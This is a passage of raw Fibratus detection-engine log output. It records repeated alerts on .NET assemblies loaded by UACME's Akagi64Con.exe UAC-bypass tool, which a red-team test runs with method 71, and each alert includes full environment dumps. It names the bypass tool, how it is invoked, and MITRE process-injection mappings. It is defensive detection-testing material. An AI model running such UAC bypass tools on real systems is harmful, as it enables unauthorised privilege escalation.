Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:44+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7270148 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:05.6092291 +0100 CET + Params: base_address➜ 7ff9e03c0000, checksum➜ 0, default_address➜ 7ff9e03c0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe, image_size➜ 1417216, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.seq.link: 6601995826782797824, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:44+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7270148 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 0 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:05.6092291 +0100 CET + Params: base_address➜ 7ff9e03c0000, checksum➜ 0, default_address➜ 7ff9e03c0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TF\4272394c97b32f9cb35400918d947d6b\TF.ni.exe, image_size➜ 1417216, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.name: Process Injection, rule.seq.link: 6601995826782797824, tactic.name: Defense Evasion, technique.id: T1055, technique.ref: https://attack.mitre.org/techniques/T1055/ + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:3d8f0121-5cbd-480f-84d5-ba9bd8482fd4 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-04T17:16:44+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 7270203 + Pid: 6812 + Tid: 14228 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: + Host: archrabbit + Timestamp: 2025-12-04 17:16:05.62083 +0100 CET + Params: base_address➜ 7ff9e68b0000, checksum➜ 0, default_address➜ 7ff9e68b0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\TlbImp\4dfa1bb571c88820b6aca61c319b7b17\TlbImp.ni.exe, image_size➜ 864256, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 6812, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, rule.seq.link: 6601995826782797824, rule.name: .NET assembly loaded by unmanaged process, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005 + + Pid: 6812 + Ppid: 5276 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows 